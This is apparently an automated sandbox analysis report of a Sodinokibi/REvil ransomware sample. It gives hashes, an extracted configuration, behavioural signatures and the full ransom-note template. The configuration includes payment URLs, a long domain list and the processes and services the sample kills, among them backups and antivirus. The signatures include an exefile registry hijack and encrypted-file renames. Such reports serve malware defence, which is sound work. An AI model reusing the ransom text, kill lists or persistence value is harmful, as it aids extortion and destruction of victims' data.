Analysis
-
max time kernel
132s -
max time network
147s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
24-01-2022 02:37
Static task
static1
Behavioral task
behavioral1
Sample
00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe
Resource
win10-en-20211208
General
-
Target
00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe
-
Size
204KB
-
MD5
7d7ee58c2696794b3be958b165eb61a9
-
SHA1
d24d3921aad182754f4ee5fa0ef13b2699d20108
-
SHA256
00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf
-
SHA512
b04eec574166812a1c85b5abf0acb20c99eedab3d07ebbaf4dba2a4d5847c98f029f9f1671349899adb661bf17cc45f74b7dbde784c333127972ebb1ab488c27
Malware Config
Extracted
C:\p72pe-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/3258074B51DD5655
http://decryptor.top/3258074B51DD5655
Extracted
sodinokibi
19
100
suonenjoen.fi
forskolinslimeffect.net
dentalcircle.com
bourchier.org
epicjapanart.com
apogeeconseils.fr
goodherbalhealth.com
vapiano.fr
reizenmetkinderen.be
smartspeak.com
thesilkroadny.com
latableacrepes-meaux.fr
triplettagaite.fr
inewsstar.com
internestdigital.com
salonlamar.nl
altitudeboise.com
fixx-repair.com
cxcompany.com
aheadloftladders.co.uk
dogsunlimitedguide.com
gratiocafeblog.wordpress.com
spacebel.be
g2mediainc.com
mangimirossana.it
hotjapaneselesbian.com
shortsalemap.com
raeoflightmusic.com
ingresosextras.online
metriplica.academy
opticahubertruiz.com
sunsolutions.es
campinglaforetdetesse.com
taulunkartano.fi
glennverschueren.be
parksideseniorliving.net
mariannelemenestrel.com
atrgroup.it
rino-gmbh.com
greeneyetattoo.com
laylavalentine.com
spectamarketingdigital.com.br
claudiakilian.de
rivermusic.nl
victorvictoria.com
rozmata.com
bringmehope.org
parentsandkids.com
haard-totaal.nl
hartofurniture.com
zinnystar.com
hiddensee-buhne11.de
liverpoolabudhabi.ae
tanatek.com
yvesdoin-aquarelles.fr
innervisions-id.com
zumrutkuyutemel.com
denverwynkoopdentist.com
c-sprop.com
maryairbnb.wordpress.com
jayfurnitureco.com
karelinjames.com
linearete.com
aceroprime.com
edrickennedymacfoy.com
dentourage.com
kuriero.pro
schlagbohrmaschinetests.com
letsstopsmoking.co.uk
putzen-reinigen.com
hawthornsretirement.co.uk
xrresources.com
jacquesgarcianoto.com
factorywizuk.com
crestgood.com
yournextshoes.com
cp-bap.de
advancedeyecare.com
molinum.pt
xn--80addfr4ahr.dp.ua
rs-danmark.dk
nepressurecleaning.com
initconf.com
boomerslivinglively.com
kdbrh.com
craftron.com
stressreliefadvice.com
mslp.org
manzel.tn
boyfriendsgoal.site
evsynthacademy.org
bescomedical.de
kickittickets.com
xn--billigafrgpatroner-stb.se
nexstagefinancial.com
wg-heiligenstadt.de
deduktia.fi
switch-made.com
casinodepositors.com
chainofhopeeurope.eu
nrgvalue.com
innovationgames-brabant.nl
site.markkit.com.br
benchbiz.com
mieleshopping.it
diverfiestas.com.es
edvestors.org
p-ride.live
hypogenforensic.com
ronielyn.com
husetsanitas.dk
ocduiblog.com
kvetymichalovce.sk
stagefxinc.com
sololibrerie.it
ketomealprep.academy
nauticmarine.dk
veggienessa.com
biblica.com
leijstrom.com
elex.is
poems-for-the-soul.ch
hostaletdelsindians.es
lgiwines.com
marmarabasin.com
vvego.com
theintellect.edu.pk
amyandzac.com
the5thquestion.com
devplus.be
advesa.com
singletonfinancial.com
autoteamlast.de
lashandbrowenvy.com
cainlaw-okc.com
motocrossplace.co.uk
cotton-avenue.co.il
limounie.com
kompresory-opravy.com
jakubrybak.com
paradigmlandscape.com
forumsittard.nl
golfclublandgoednieuwkerk.nl
block-optic.com
bodet150ans.com
agendatwentytwenty.com
catalyseurdetransformation.com
sber-biznes.com
simpleitsolutions.ch
tastevirginia.com
atma.nl
pansionatblago.ru
bychowo.pl
groovedealers.ru
premiumweb.com.ua:443
curtsdiscountguns.com
silkeight.com
angelsmirrorus.com
onlinemarketingsurgery.co.uk
qwikcoach.com
jandhpest.com
acb-gruppe.ch
leatherjees.com
keyboardjournal.com
sochi-okna23.ru
rubyaudiology.com
lunoluno.com
renderbox.ch
ddmgen.com
worldproskitour.com
patriotcleaning.net
scholarquotes.com
hotelturbo.de
eshop.design
happylublog.wordpress.com
campusce.com
agrifarm.dk
wyreforest.net
primemarineengineering.com
nuohous.com
dentallabor-luenen.de
zealcon.ae
renehartman.nl
eafx.pro
adabible.org
designimage.ae
magrinya.net
towelroot.co
amorbellezaysalud.com
n-newmedia.de
bcmets.info
fitnessblenderstory.com
domaine-des-pothiers.com
bohrlochversicherung.info
janasfokus.com
fla.se
riffenmattgarage.ch
whoopingcrane.com
pankiss.ru
precisetemp.com
shrinkingplanet.com
ya-elka.ru
mayprogulka.ru
diakonie-weitramsdorf-sesslach.de
easydental.ae
mariamalmahdi.com
penumbuhrambutkeiskei.com
goodboyscustom.com
annenymus.com
chomiksy.net
fluzfluzrewards.com
agencewho-aixenprovence.fr
pourlabretagne.bzh
mediogiro.com.ar
hostingbangladesh.net
fanuli.com.au
2020hindsight.info
wallflowersandrakes.com
kenmccallum.com
ultimatelifesource.com
janellrardon.com
bjornvanvulpen.nl
profibersan.com
scietech.academy
happycatering.de
slotspinner.com
guohedd.com
drvoip.com
gardenpartner.pl
almamidwifery.com
osn.ro
campusescalade.com
oscommunity.de
bratek-immobilien.de
mikegoodfellow.co.uk
ijsselbeton.nl
sachainchiuk.com
thepixelfairy.com
bluemarinefoundation.com
tothebackofthemoon.com
advance-refle.com
hvitfeldt.dk
t3brothers.com
oraweb.net
zaczytana.com
90nguyentuan.com
mrmac.com
olry-cloisons.fr
boloria.de
cardsandloyalty.com
jag.me
sarahspics.co.uk
m2graph.fr
soundseeing.net
oportowebdesign.com
christopherhannan.com
skyscanner.ro
bluelakevision.com
landgoedspica.nl
belofloripa.be
ziliak.com
the-beauty-guides.com
pilotgreen.com
collegetennis.info
dierenambulancealkmaar.nl
istantidigitali.com
allinonecampaign.com
kemtron.fr
cascinarosa33.it
ludoil.it
alaskaremote.com
ufovidmag.com
hom-frisor.dk
rokthetalk.com
hm-com.com
pureelements.nl
hekecrm.com
bubbalucious.com
sveneulberg.de
medicalsupportco.com
mrcar.nl
techybash.com
barbaramcfadyenjewelry.com
airserviceunlimited.com
bonitabeachassociation.com
cap29010.it
alnectus.com
avtoboss163.ru:443
prodentalblue.com
arthakapitalforvaltning.dk
mundo-pieces-auto.fr
rolleepollee.com
cssp-mediation.org
patassociation.com
ciga-france.fr
nutriwell.com.sg
rarefoods.ro
tellthebell.website
palema.gr
jlgraphisme.fr
galatee-couture.com
kosten-vochtbestrijding.be
descargandoprogramas.com
ykobbqchicken.ca
delegationhub.com
paardcentraal.nl
eos-horlogerie.com
lyricalduniya.com
docarefoundation.org
theatre-embellie.fr
ikadomus.com
haus-landliebe.de
humanviruses.org
photographycreativity.co.uk
parseport.com
banukumbak.com
omegamarbella.com
palmenhaus-erfurt.de
richardkershawwines.co.za
johnstonmingmanning.com
unexplored.gr
nxtstg.org
ncjc.ca
toranjtuition.org
broccolisoep.nl
katherinealy.com
adaduga.info
klapanvent.ru
onlinetvgroup.com
expohomes.com
fsbforsale.com
teutoradio.de
finsahome.co.uk
narca.net
wademurray.com
michal-s.co.il
thisprettyhair.com
spirello.nl
startuplive.org
jmmartinezilustrador.com
acibademmobil.com.tr
atelierkomon.com
fazagostar.co
cleanroomequipment.ie
reputation-medical.online
mensemetgesigte.co.za
heuvelland-oaze.nl
lsngroupe.com
jaaphoekzema.nl
loparnille.se
carsten.sparen-it.de
lagschools.ng
otpusk.zp.ua
leadforensics.com
hostastay.com
graygreenbiomedservices.com
look.academy
trainiumacademy.com
iexpert99.com
buzzneakers.com
auto-opel.ro
solutionshosting.co.uk
carmel-york.com
akwaba-safaris.com
optigas.com
glende-pflanzenparadies.de
nicksrock.com
pro-gamer.pl
jlwilsonbooks.com
ygallerysalonsoho.com:443
denhaagfoodie.nl
dennisverschuur.com
mneti.ru
innersurrection.com
springfieldplumbermo.com
placermonticello.com
epsondriversforwindows.com
karmeliterviertel.com
biketruck.de
thiagoperez.com
kookooo.com
theboardroomafrica.com
imajyuku-sozoku.com
professionetata.com
donau-guides.eu
encounter-p.net
premier-iowa.com
buffdaddyblog.com
eatyoveges.com
animalfood-online.de
jeanmonti.com
fi-institutionalfunds.com
krishnabrawijaya.com
nginx.com
finnergo.eu
jobscore.com
stralsund-ansichten.de
naukaip.ru
kroophold-sjaelland.dk
geitoniatonaggelon.gr
nevadaruralhousingstudies.org
legundschiess.de
wrinstitute.org
hepishopping.com
furland.ru
globalskills.pt
liepertgrafikweb.at
grafikstudio-visuell.de
lassocrm.com
adterium.com
mac-computer-support-hamburg.de
zorgboerderijravensbosch.nl
bruut.online
tutvracks.com
maxcube24.com.ua
rsidesigns.com
chorusconsulting.net
bertbutter.nl
afbudsrejserallinclusive.dk
b3b.ch
saint-malo-developpement.fr
datatri.be
k-v-f.de
anleggsregisteret.no
bilius.dk
silverbird.dk
electricianul.com
zdrowieszczecin.pl
latteswithleslie.com
sytzedevries.com
bmw-i-pure-impulse.com
dnqa.co.uk
christianscholz.de
keuken-prijs.nl
mursall.de
hinotruckwreckers.com.au
traitware.com
buonabitare.com
masecologicos.com
lisa-poncon.fr
global-migrate.com
qrs-international.com
cmeow.com
girlish.ae
tecleados.com
awag-blog.de
studionumerik.fr
mindsparkescape.com
rizplakatjaya.com
bridalcave.com
hnkns.com
mgimalta.com
druktemakersheerenveen.nl
baikalflot.ru
grupoexin10.com
gurutechnologies.net
licensed-public-adjuster.com
arazi.eus
jonnyhooley.com
angeleyezstripclub.com
subyard.com
mariajosediazdemera.com
perfectgrin.com
lollachiro.com
glas-kuck.de
avis.mantova.it
miscbo.it
affligemsehondenschool.be
endlessrealms.net
tbalp.co.uk
promus.ca
bodymindchallenger.com
sealgrinderpt.com
bakingismyyoga.com
outstandingminialbums.com
prometeyagro.com.ua
mahikuchen.com
metroton.ru
mjk.digital
goeppinger-teppichreinigung.de
charlottelhanna.com
rapid5kloan.org
werkzeugtrolley.net
santastoy.store
cormanmarketing.com
pazarspor.org.tr
bavovrienden.nl
vipcarrental.ae
heimdalbygg.no
molade.nl
ikzoekgod.be
operativadigital.com
teamsegeln.ch
blueridgeheritage.com
1deals.com
monstarrsoccer.com
plbinsurance.com
direitapernambuco.com
napisat-pismo-gubernatoru.ru:443
fotoeditores.com
saberconcrete.com
thehovecounsellingpractice.co.uk
bluetenreich-brilon.de
cymru.futbol
lifeinbreaths.com
creohn.de
richardiv.com
betterce.com
distrifresh.com
citiscapes-art.com
blavait.fr
adedesign.com
factoriareloj.com
yayasanprimaunggul.org
pinthelook.com
burg-zelem.de
quitescorting.com
sshomme.com
cc-experts.de
aktivfriskcenter.se
watchsale.biz
airvapourbarrier.com
margaretmcshane.com
volta.plus
o2o-academy.com
alattekniksipil.com
lovetzuchia.com
bayshoreelite.com
aoyama.ac
wordpress.idium.no
mollymccarthydesign.com
nepal-pictures.com
efficiencyconsulting.es
koncept-m.ru
mesajjongeren.nl
achetrabalhos.com
reygroup.pt
angelika-schwarz.com
wirmuessenreden.com
kerstliedjeszingen.nl
natturestaurante.com.br
abulanov.com
rhino-turf.com
topvijesti.net
neonodi.be
agriturismocastagneto.it
luvinsburger.fr
tramadolhealth.com
mercadodelrio.com
juergenblaetz.de
ox-home.com
azerbaycanas.com
gatlinburgcottage.com
so-sage.fr
chinowarehousespace.com
smarttourism.academy
bajova.sk
awaisghauri.com
aquacheck.co.za
vitoriaecoturismo.com.br
o90.dk
motocrosshideout.com
enews-qca.com
concontactodirecto.com
computer-place.de
comoserescritor.com
breathebettertolivebetter.com
espaciopolitica.com
avisioninthedesert.com
tilldeeke.de
saboboxtel.uk
amco.net.au
log-barn.co.uk
carolynfriedlander.com
egpu.fr
craftingalegacy.com
paprikapod.com
georgemuncey.com
luvbec.com
lapponiasafaris.com
alwaysdc.com
stitch-n-bitch.com
entdoctor-durban.com
dinecorp.com
agenceassemble.fr
aslog.fr
cincinnatiphotocompany.org
kamin-somnium.de
mazift.dk
circuit-diagramz.com
livedeveloper.com
ravage-webzine.nl
verbouwingsdouche.nl
relevantonline.eu
lovcase.com
martha-frets-ceramics.nl
therapybusinessacademy.com
powershell.su
uci-france.fr
tages-geldvergleich.de
letterscan.de
from02pro.com
axisoflove.org:443
min-virksomhed.dk
gaearoyals.com
limmortelyouth.com
bumbipdeco.site
netadultere.fr
fire-space.com
frameshift.it
awaitspain.com
bcabattoirs.org
bulyginnikitav.000webhostapp.com
profiz.com
rtc24.com
cyberpromote.de
kryddersnapsen.dk
eyedoctordallas.com
zuerich-umzug.ch
modamarfil.com
kristianboennelykke.dk
alene.co
leloupblanc.gr
ilveshistoria.com
dmlcpa.com
eventosvirtualesexitosos.com
rossomattonecase.it
aidanpublishing.co.uk
ntinasfiloxenia.gr
rentsportsequip.com
ledyoucan.com
palmecophilippines.com
brighthillgroup.com
kelsigordon.com
breakluckrecords.com
handyman-silkeborg.dk
muni.pe
neolaiamedispa.com
lattalvor.com
imaginekithomes.co.nz
globalcompliancenews.com
harleystreetspineclinic.com
kafkacare.com
grancanariaregional.com
stabilisateur.fr
suitesartemis.gr
oththukaruva.com
agora-collectivites.com
gazelle-du-web.com
andreaskildegaard.dk
schluesseldienste-hannover.de
speiserei-hannover.de
pixelhealth.net
trivselsguide.dk
pharmeko-group.com
tradenavigator.ch
kellengatton.com
voetbalhoogeveen.nl
nalliasmali.net
mamajenedesigns.com
rename.kz
nationnewsroom.com
gosouldeep.com
thegetawaycollective.com
berdonllp.com
soncini.ch
witraz.pl
enactusnhlstenden.com
leopoldineroux.com
gsconcretecoatings.com
malzomattalar.com
111firstdelray.com
elliemaccreative.wordpress.com
terraflair.de
strauchs-wanderlust.info
frimec-international.es
satoblog.org
etgdogz.de
birthplacemag.com
selected-minds.de
acornishstudio.co.uk
pinkxgayvideoawards.com
jameswilliamspainting.com
biodentify.ai
annida.it
craftstone.co.nz
scentedlair.com
cac2040.com
mindfuelers.com
fotoslubna.com
sjtpo.org
wasnederland.nl
nieuwsindeklas.be
5pointpt.com
advanced-removals.co.uk
fidelitytitleoregon.com
leansupremegarcinia.net
skyboundnutrition.co.uk
clinic-beethovenstrasse-ag.ch
interlinkone.com
vdolg24.online
webforsites.com
geoweb.software
alharsunindo.com
nbva.co.uk
opt4cdi.com
acumenconsultingcompany.com
larchwoodmarketing.com
energosbit-rp.ru
daveystownhouse.com
topautoinsurers.net
apmollerpension.com
jobkiwi.com.ng
xtensifi.com
phukienbepthanhdat.com
brannbornfastigheter.se
valiant-voice.com
transifer.fr
pxsrl.it
csaballoons.com
richardmaybury.co.uk
gavelmasters.com
fskhjalmar.se
turing.academy
mustangmarketinggroup.com
apiarista.de
skoczynski.eu
nvisionsigns.com
trevi-vl.ru
xn--ziinoapte-6ld.ro
jax-interim-and-projectmanagement.com
julielusktherapy.com
nourella.com
schroederschoembs.com
ramirezprono.com
drbrianhweeks.com
scotlandsroute66.co.uk
hameghlim.com
astrographic.com
voice2biz.com
protoplay.ca
slotenmakerszwijndrecht.nl
blucamp.com
kausette.com
littlesaints.academy
gta-jjb.fr
greenrider.nl
insane.agency
oro.ae
augen-praxisklinik-rostock.de
hensleymarketing.com
andrealuchesi.it
line-x.co.uk
sambaglow.com
jglconsultancy.com
chatberlin.de
subquercy.fr
circlecitydj.com
tieronechic.com
wineandgo.hu
mediabolmong.com
ninjaki.com
randyabrown.com
die-immo-agentur.de
kryptos72.com
supercarhire.co.uk
basindentistry.com
zwemofficial.nl
specialtyhomeservicesllc.com
arearugcleaningnyc.com
bagaholics.in
3daywebs.com
go.labibini.ch
physio-lang.de
moira-cristescu.com
jimprattmediations.com
citydogslife.com
sppdstats.com
animation-pro.co.uk
brinkdoepke.eu
mazzaropi.com.br
alcye.com
fbmagazine.ru
stringnosis.academy
vitormmcosta.com
funworx.de
justaroundthecornerpetsit.com
muller.nl
housesofwa.com
charlesfrancis.photos
devus.de
vedsegaard.dk
iron-mine.ru
malevannye.ru
drnelsonpediatrics.com
pubcon.com
business-basic.de
ruggestar.ch
jefersonalessandro.com
hawaiisteelbuilding.com
arabianmice.com
polynine.com
morgansconsult.com
welovecustomers.fr
peninggibadan.co.id
redpebblephotography.com
bellesiniacademy.org
fascaonline.com
triavlete.com
shortysspices.com
internalresults.com
laaisterplakky.nl
liveyourheartout.co
tweedekansenloket.nl
dantreranch.com
bookingwheel.com
orchardbrickwork.com
pajagus.fr
nykfdyrehospital.dk
catchup-mag.com
amelielecompte.wordpress.com
radishallgood.com
babysitting-hk.helpergo.co
pisofare.co
ilovefullcircle.com
memphishealthandwellness.com
askstaffing.com
stage-infirmier.fr
tetameble.pl
thegrinningmanmusical.com
test-teleachat.fr
dcc-eu.com
bg.szczecin.pl
oncarrot.com
publicompserver.de
mike.matthies.de
aciscomputers.com
alexwenzel.de
ced-elec.com
thestudio.academy
skooppi.fi
colored-shelves.com
logosindustries.com
janmorgenstern.com
purepreprod4.com
uncensoredhentaigif.com
auberives-sur-vareze.fr
smartworkplaza.com
wribrazil.com
banksrl.co.za
cops4causes.org
fann.ru
davedavisphotos.com
markseymourphotography.co.uk
aberdeenartwalk.org
invela.dk
endstarvation.com
mbuildinghomes.com
kiraribeaute-nani.com
pokemonturkiye.com
deziplan.ru
foerderverein-vatterschule.de
jdscenter.com
yourcosmicbeing.com
dreamvoiceclub.org
kombi-dress.com
signededenroth.dk
mind2muscle.nl
activeterroristwarningcompany.com
billyoart.com
a-zpaperwork.eu
5thactors.com
stoneridgemontessori.com
michaelfiegel.com
fta-media.com
thenalpa.com
utilisacteur.fr
smartmind.net
livelai.com
skidpiping.de
cuadc.org
signamedia.de
jalkapuu.net
levencovka.ru
photonag.com
four-ways.com
dayenne-styling.nl
rhino-storage.co.uk
newonestop.com
ncn.nl
jollity.hu
pays-saint-flour.fr
cookinn.nl
alabamaroofingllc.com
teethinadaydentalimplants.com
lumturo.academy
baita.ac
successcolony.com.ng
anchelor.com
secrets-clubs.co.uk
ahgarage.com
gbk-tp1.de
slideevents.be
speakaudible.com
rattanwarehouse.co.uk
frankgoll.com
makingmillionaires.net
queertube.net
schulz-moelln.de
clemenfoto.dk
stanleyqualitysystems.com
indiebizadvocates.org
skinkeeper.li
directique.com
duthler.nl
matthieupetel.fr
alltagsrassismus-entknoten.de
triplettabordeaux.fr
peppergreenfarmcatering.com.au
tesisatonarim.com
cesep2019.com
redctei.co
jobstomoveamerica.org
the3-week-diet.net
sbit.ag
parisschool.ru
eurethicsport.eu
focuskontur.com
linkbuilding.life
belinda.af
mediahub.co.nz
irizar.com
elitkeramika-shop.com.ua
beauty-traveller.com
domilivefurniture.com
walterman.es
perceptdecor.com
kartuindonesia.com
racefietsenblog.nl
der-stempelking.de
mrkluttz.com
phoenixcrane.com
sycamoregreenapts.com
solidhosting.nl
lookandseen.com
corporacionrr.com
louiedager.com
forextimes.ru
johnkoen.com
spartamovers.com
metcalfe.ca
chatterchatterchatter.com
eksperdanismanlik.com
skolaprome.eu
weddingceremonieswithtim.com
brisbaneosteopathic.com.au
yuanshenghotel.com
dinedrinkdetroit.com
dieetuniversiteit.nl
xn--80abehgab4ak0ddz.xn--p1ai
mondolandscapes.com
tatyanakopieva.ru
customroasts.com
production-stills.co.uk
condormobile.fr
eastgrinsteadwingchun.com
holocine.de
asiaartgallery.jp
sweetz.fr
tchernia-conseil.fr
dr-vita.de
rechtenplicht.be
pedmanson.com
myfbateam.com
piestar.com
unislaw-narty.pl
myplaywin3.com
ceocenters.com
galaniuklaw.com
martinipstudios.com
levelseven.be
billigeflybilletter.dk
brunoimmobilier.com
ideamode.com
lesyeuxbleus.net
9nar.com
projektparkiet.pl
cl0nazepamblog.com
hoteltantra.com
ayudaespiritualtamara.com
11.in.ua
digitale-elite.de
yourhappyevents.fr
beandrivingschool.com.au
onesynergyinternational.com
rishigangoly.com
ebible.co
framemyballs.com
johnsonweekly.com
greatofficespaces.net
fridakids.com
dibli.store
explora.nl
pvandambv.nl
flossmoordental.com
imagine-entertainment.com
iactechnologies.net
rvside.com
akcadagofis.com
theater-lueneburg.de
sprintcoach.com
centuryvisionglobal.com
lmmont.sk
coachpreneuracademy.com
tzn.nu
texanscan.org
bd2fly.com
envomask.com
alisodentalcare.com
metallbau-hartmann.eu
k-zubki.ru
alpesiberie.com
billscars.net
azloans.com
bendel-partner.de
albcleaner.fr
sellthewrightway.com
futurenetworking.com
goddardleadership.org
bundan.com
khtrx.com
antesacademy.it
cmascd.com
unboxtherapy.site
omnicademy.com
midwestschool.org
chris-anne.com
ronaldhendriks.nl
fysiotherapierijnmond.nl
floweringsun.org
stathmoulis.gr
catering.com
qandmmusiccenter.com
hutchstyle.co.uk
ivancacu.com
smartercashsystem.com
altocontatto.net
baptistdistinctives.org
matteoruzzaofficial.com
loysonbryan.com
noda.com.ua
rentingwell.com
andermattswisswatches.ch
universelle.fr
marcandy.com
lidkopingsnytt.nu
brownswoodblog.com
testitjavertailut.net
sharonalbrightdds.com
the-cupboard.co.uk
buerocenter-butzbach-werbemittel.de
hospitalitytrainingsolutions.co.uk
artvark.nl
ownidentity.com
oexebusiness.com
artcase.pl
lexced.com
itheroes.dk
proffteplo.com
baumfinancialservices.com
magnetvisual.com
drbenveniste.com
web865.com
-
net
true
-
pid
19
-
prc
synctime
mydesktopqos
sqlwriter
mydesktopservice
ocomm
oracle
thebat
ocautoupds
firefoxconfig
mysqld
msaccess
winword
isqlplussvc
powerpnt
outlook
agntsvc
mysqld_nt
sqbcoreservice
encsvc
sqlservr
thebat64
infopath
onenote
thunderbird
wordpad
msftesql
ocssd
sqlagent
steam
mysqld_opt
mspub
dbeng50
xfssvccon
sqlbrowser
dbsnmp
visio
tbirdconfig
excel
-
ransom_oneliner
All of your files are encrypted! Find {EXT}-readme.txt and follow instuctions
-
ransom_template
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on you computer has expansion {EXT}. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/{UID} 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/{UID} Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: {KEY} Extension name: {EXT} ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
-
sub
100
-
svc
sql
svc$
sophos
veeam
mepocs
backup
vss
memtas
Signatures
-
Modifies system executable filetype association 2 TTPs 1 IoCs
Processes:
00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*" 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe -
Neshta
Malware from the neshta family is designed to infect itself into other files to spread itself and cause damage.
-
Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
-
Executes dropped EXE 1 IoCs
Processes:
00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exepid process 776 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe -
Modifies extensions of user files 12 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exedescription ioc process File renamed C:\Users\Admin\Pictures\ConvertUnprotect.tif => \??\c:\users\admin\pictures\ConvertUnprotect.tif.p72pe 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File renamed C:\Users\Admin\Pictures\EnableAssert.tiff => \??\c:\users\admin\pictures\EnableAssert.tiff.p72pe 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File renamed C:\Users\Admin\Pictures\FormatRemove.raw => \??\c:\users\admin\pictures\FormatRemove.raw.p72pe 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File renamed C:\Users\Admin\Pictures\SyncSave.crw => \??\c:\users\admin\pictures\SyncSave.crw.p72pe 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File renamed C:\Users\Admin\Pictures\WatchCheckpoint.raw => \??\c:\users\admin\pictures\WatchCheckpoint.raw.p72pe 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File renamed C:\Users\Admin\Pictures\OutPublish.crw => \??\c:\users\admin\pictures\OutPublish.crw.p72pe 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification \??\c:\users\admin\pictures\EnableAssert.tiff 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification \??\c:\users\admin\pictures\EnterRestore.tiff 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File renamed C:\Users\Admin\Pictures\EnterRestore.tiff => \??\c:\users\admin\pictures\EnterRestore.tiff.p72pe 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File renamed C:\Users\Admin\Pictures\ExportStep.png => \??\c:\users\admin\pictures\ExportStep.png.p72pe 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File renamed C:\Users\Admin\Pictures\MountClear.raw => \??\c:\users\admin\pictures\MountClear.raw.p72pe 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File renamed C:\Users\Admin\Pictures\RevokeResolve.raw => \??\c:\users\admin\pictures\RevokeResolve.raw.p72pe 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe -
Loads dropped DLL 3 IoCs
Processes:
00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exepid process 1668 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe 1668 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe 1668 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exedescription ioc process File opened (read-only) \??\F: 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened (read-only) \??\M: 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened (read-only) \??\S: 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened (read-only) \??\T: 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened (read-only) \??\U: 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened (read-only) \??\W: 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened (read-only) \??\Y: 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened (read-only) \??\B: 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened (read-only) \??\L: 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened (read-only) \??\P: 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened (read-only) \??\R: 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened (read-only) \??\D: 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened (read-only) \??\H: 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened (read-only) \??\I: 